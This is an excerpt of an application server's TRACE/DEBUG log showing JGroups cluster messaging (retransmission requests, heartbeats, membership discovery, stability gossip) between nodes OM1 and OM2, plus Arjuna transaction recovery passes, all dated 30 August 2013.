> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,465 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:36,465 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:37,666 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:37,666 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:40,068 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:40,068 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#9
> 2013-08-30 09:49:44,218 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:44,873 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:44,873 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:45,872 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#10
> 2013-08-30 09:49:48,149 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:49,678 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:49,678 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== SCANNING
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread scanning
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) Periodic recovery first pass at Fri, 30 Aug 2013 09:49:52
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule first pass
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) processing /StateManager/BasicAction/TwoPhaseCoordinator/AtomicAction transactions
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,673 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,689 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:54,483 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:54,483 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 DEBUG [FD] (Timer-2,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:55,887 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,837 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,837 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#11
> 2013-08-30 09:49:57,837 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (Incoming-8,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:58,523 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 2 total (2 servers (1 coord), 0 clients)
> 2013-08-30 09:49:58,523 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> [OM2:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:59,288 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:59,288 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) Periodic recovery second pass at Fri, 30 Aug 2013 09:50:02
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.transactionInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.resourceInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== INACTIVE
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread backing off
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (Incoming-11,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stable msg [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (1 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#10, OM2:1299#6]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 276 ms) [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,092 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:04,092 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stability msg [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (Timer-5,<ADDR>) sending OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#6, OM2:1299#0]
